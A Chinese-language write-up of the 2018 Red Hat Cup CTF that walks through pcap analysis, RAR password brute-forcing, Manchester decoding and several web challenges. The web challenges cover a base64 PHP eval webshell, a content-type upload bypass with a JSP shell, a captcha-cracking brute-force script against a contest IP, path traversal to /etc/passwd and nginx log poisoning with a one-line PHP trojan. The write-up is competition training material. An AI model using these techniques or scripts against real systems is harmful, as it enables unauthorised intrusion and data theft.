2018-第二届红帽杯-writeup

0x00 Not only wireshark

hint:tshark
这题给了一个pcap包,当时并没有做出来,我靠如果我先去打了铁人三项的数据分析赛再来做这个简直好做多了
包里面有一系列可疑的GET请求image
把它们导出并连起来,放虚拟机里面,然后

1
tshark -r x.pcapng -e http.request.uri -T fields -Y 'http.request.uri' | grep -P 'name=[A-F0-9]{3}' | awk -F '=' '{printf $2}'

image
成功导出,注意到开头的123404B,联想到504B是zip文件的文件头,然后,改一下放hxd里得到一个zip,有密码,然后,在pcap里面搜字符串key,找到密码image这题告诉我们,要记住一些常见的文件头,不然你看到都想不起来啊!
flag{1m_s0_ang4y_1s}

0x01 听说你们喜欢手工爆破

hint:flag{}内英文字母为大写形式
给了个iso压缩包,里面有无数个txt,还有个叫情系海边之城的有密码的rar,里面有个docimage解压出来之后,先随便点开看了几个txt,里面都是相同的base64,image解码出来是Th3r3 1s n0 f1ag,写个脚本,看看是不是所有txt内容都是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
path="C:/Users/18145/Desktop/gogo"
files=os.listdir(path)
s=[]
try:
for file in files:
if not os.path.isdir(file):
f=open(path+'/'+file)
a=f.readline()
if a.split("G")[1]!="gzcjMgMXMgbjAgZjFhZw==":
s.append(a)
print s
except Exception as e:
print e

image发现确实没有例外,全是一样的base64,然后,想到从文件名入手,用文件名作为字典对rar进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import rarfile

def file_name(file_dir):
L=[]
for root, dirs, files in os.walk(file_dir):
for file in files:
if file.split('.')[1]=='txt':
L.append(file.split('.')[0]) #生成字典用
return L

def decryptRarZipFile(filename):
fp=rarfile.RarFile(filename)
desPath=filename[:-4]
if not os.path.exists(desPath):
os.mkdir(desPath)
f=open('txt-names.txt','r')
line=f.readline()
while line:
line=line.strip('\n')
# with open('test.txt','a') as w:
# w.write(line+'\n')
try:
fp.extractall(path=desPath,pwd=line)
print "success!!====>"+line
fp.close()
break
except Exception as e:
print e
line=f.readline()

if __name__ == '__main__':
rarName='C:/Users/18145/Desktop/boom/bythesea.rar'
decryptRarZipFile(rarName)
# print file_name('C:/Users/18145/Desktop/gogo')

代码会调用windows的unrar工具,一开始我不知道自己没有,而且程序跑完不报错,导致我以为思路错了,浪费很多时间。后面加了个try except,把错误print出来才发现,以后都要养成把错误print出来的习惯,不然就等死吧image然后,安装好unrar工具包,再跑就出来了image这时候发现,doc也有密码,用工具,爆出来密码5693image打开word,发现如下内容

1
2
李(卡西·阿弗莱克 Casey Affleck 饰)是一名颓废压抑的修理工,在得知哥哥乔伊(凯尔·钱德勒 Kyle Chandler 饰)去世的消息后,李回到了故乡——大海边处理乔伊的后事。根据乔伊的遗嘱,李将会成为乔伊的儿子帕特里克(卢卡斯·赫奇斯 Lucas Hedg es 饰)的监护人,李打算将帕特里克带回波士顿,但很显然帕特里克并不愿意离开家乡和朋友们,但李亦不愿在这片伤心地久留。 
原来,这里埋藏着李的一段绝望的回忆,他的过失使得两个女儿葬身火海,妻子兰迪(米歇尔·威廉姆斯 Michelle Williams 饰)亦因此而离开了他。此次重回故乡,李再度见到了已经再婚并且即将做妈妈的兰迪,与此同时,帕特里克那失踪已久的母亲艾丽斯(格瑞辰·摩尔 Gretchen Mol 饰)亦联系上了帕特里克,告诉他,她还深爱着他,希望他能回来找她。艾丽斯还告诉了他,她现在住在F5街区F5街道07号幢,并给他邮箱发了新家里的门禁解锁代码:“123654AAA678876303555111AAA77611A321”,希望他能够成为她的新家庭中的一员。

哦,一脸懵逼
很快就因为情系海边之城别名是海边的曼彻斯特,联想到了曼彻斯特编码,只是,还是不会做,这里给出官方payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''
def conv(s):
return hex(int(s,2))[2:]
for i in range(0,len(bs),2):
if bs[i:i+2]=='01':
r+='0'
else:
r+='1'
for i in range(0,len(r),8):
tmp=r[i:i+8][::-1]
flag+=conv(tmp[:4])
flag+=conv(tmp[4:])
print "flag"+"{"+flag.upper()+"}"

这题没做出来实在是可惜。
flag{5EFCF5F507AA5FAD77}

0x02 这是道web题?

这题也没做出来,给了一个cms的后台代码,很多很多个文件,首先用D盾去扫image扫到关键文件,里面代码如下image,解码出来是[@eval(base64_decode($_POST[z0]));],然后,注释有提示image要用tshark,那肯定要看pcap包了,搜索所有的pcap包,发现有个2M多的,既然它最大,就决定是它了,然后到处http对象,发现一个最可疑的,导出image打开后发现并不是php代码,放binwalk看看image发现有个jpg,有个gif,foremost分离出来,发现gif是残缺的,可能是我没有掌握正确的分离方法,不过可以手动分离,gif是经典的“sorry,有钱,真系大晒个喔”系列动图image给了一串unicode编码,拿去解码,得flag
flag{S022y4orr5}

0x03 simple upload

进入页面后,尝试登录,抓包imageCookie的admin参数改为1,然后登录成功。image尝试上传文件,发现只要content-type是image/jpeg就能上传成功。image然后,改一个jpg文件,上传image试图执行其中的代码,发现报错,发现后台是tomcatimage(其实这里有点多此一举,直接乱打一波也能发现是tomcat)然后传jsp马,再用菜刀连,注意要设置cookieimage发现flag
flag{7773cffc-a9ea-4542-aea2-f42336a21a8c}

0x04 shopping log

进到题目页面,发现一片空白,然后,f12image改hostimage然后,改refererimage返回一个location,访问下imageJapan sales only,然后 改语言,jaimage返回一个location,访问image写脚本,验证码暴力破,然后,题目有提示不从0000开始,那就从9999开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#-*- coding: UTF-8 -*-
from multiprocessing import *
import requests
import re
import hashlib


headers = {"Host": "www.tmvb.com"
,"Accept-Language": "ja"
,"Referer": "www.dww.com"
}

url1 = "http://120.132.95.234/5a560e50e61b552d34480017c7877467info.php"
url2 = "http://120.132.95.234/api.php?action=report"

proxies = {}

def getCode(ss):
try:
r = ss.get(url=url1,headers=headers,proxies=proxies)

m = re.findall(r'=== \'(.*)\'</p>',r.content)
result = m[0]

i = 0
while(True):
m2 = hashlib.md5()
m2.update(str(i))

if m2.hexdigest()[0:6] == result:
return i
i += 1

except Exception as e:
print e



def run(num):
ss = requests.session()
try:
ss.get(url=url1,headers=headers,proxies=proxies)

code = getCode(ss)
r = ss.post(url = url2,data = {"TxtTid":num, "code":code},headers=headers,proxies=proxies)
if ("no such order" not in r.content):
print num + r.content

except Exception as e:
print e

def ask(q):
try:
while(q.qsize()!=0):
num = q.get(block = False)
run(num)
print num
except Exception as e:
print e


if __name__ == "__main__":
q = Queue()

for i in range(10000,0,-1):
q.put(str(i).zfill(4))

workers = []
for i in range(20):
worker = Process(target = ask, args=(q,))
worker.start()
workers.append(worker)

for worker in workers:
worker.join()

得flagimage也可以先生成一个md5表,然后查表,这样比较快,贴一下impakho大佬的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import string
import hashlib

url = 'http://120.132.95.234/%s'
headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
s = requests.session()

md5_table = {}
target = (256 ** 3) / 2

i = 0
print 'Preparing md5 rainbow table...'
while True:
md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
i += 1
if len(md5_table) >= target: break
if len(md5_table) % 100000 == 0: print str(len(md5_table)) + ' / ' + str(target)
print str(len(md5_table)) + ' / ' + str(target)

# 9588
for i in range(9500, 10000):
code = ''
while True:
r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
r.encoding = 'utf-8'
code = r.text.split("=== '")[1].split("'")[0]
if code in md5_table: break
payload = {'TxtTid': i, 'code': md5_table[code]}
r = s.post(url % 'api.php?action=report', headers=headers, data=payload)
r.encoding = 'utf-8'
print 'TxtTid=%d: %s' % (i, r.text)
if "There's no such order." not in r.text: break

他的博客上说的是先生成彩虹表,我个人觉得他的做法跟彩虹表没多大关系,更像是单纯的生成表然后查表。他是每次发出get请求去拿到验证码,如果验证码在表里才去下一步,这个思路值得学习。
flag{hong_mao_ctf_hajimaruyo}

0x05 biubiubiu

这次在你面前的网站看起来很复杂,接受挑战吧!
进到login页面,任意账号密码登陆,然后,发现url有个index.php/page=??,猜测有文件包含,改成page=../../../etc/passwd,果然存在漏洞image然后发现,phpfilter流可以实现对文件的任意读取,php的伪协议我会在另一篇文章中详细讲。然后,拿到index.php、users.sql、send.php的源码,这题有个非预期的解法,预期解法我还没弄懂,在这里先讲一下非预期解法,我好菜啊。
因为每次访问服务器,nginx都会记录log,可以利用这点向日志文件插入php代码,log文件的地址可以在nginx配置中看到,nginx配置默认在/etc/nginx/nginx.confimage有个小技巧,一句话木马与phpinfo连用,这样可以体现出一句话木马有没有插入成功image可以看到,日志文件显示出了phpinfo,同时也说明木马插入成功了。这时候,上菜刀。在/var/www/html中找到数据库的配置文件image然后,连接数据库image拿到flagimage这里有个小小的点,就是,插入的$_POST[“cmd”],引号是可以不用的,在有过滤的后台中可以避免不必要的麻烦。
继续努力,fight fight…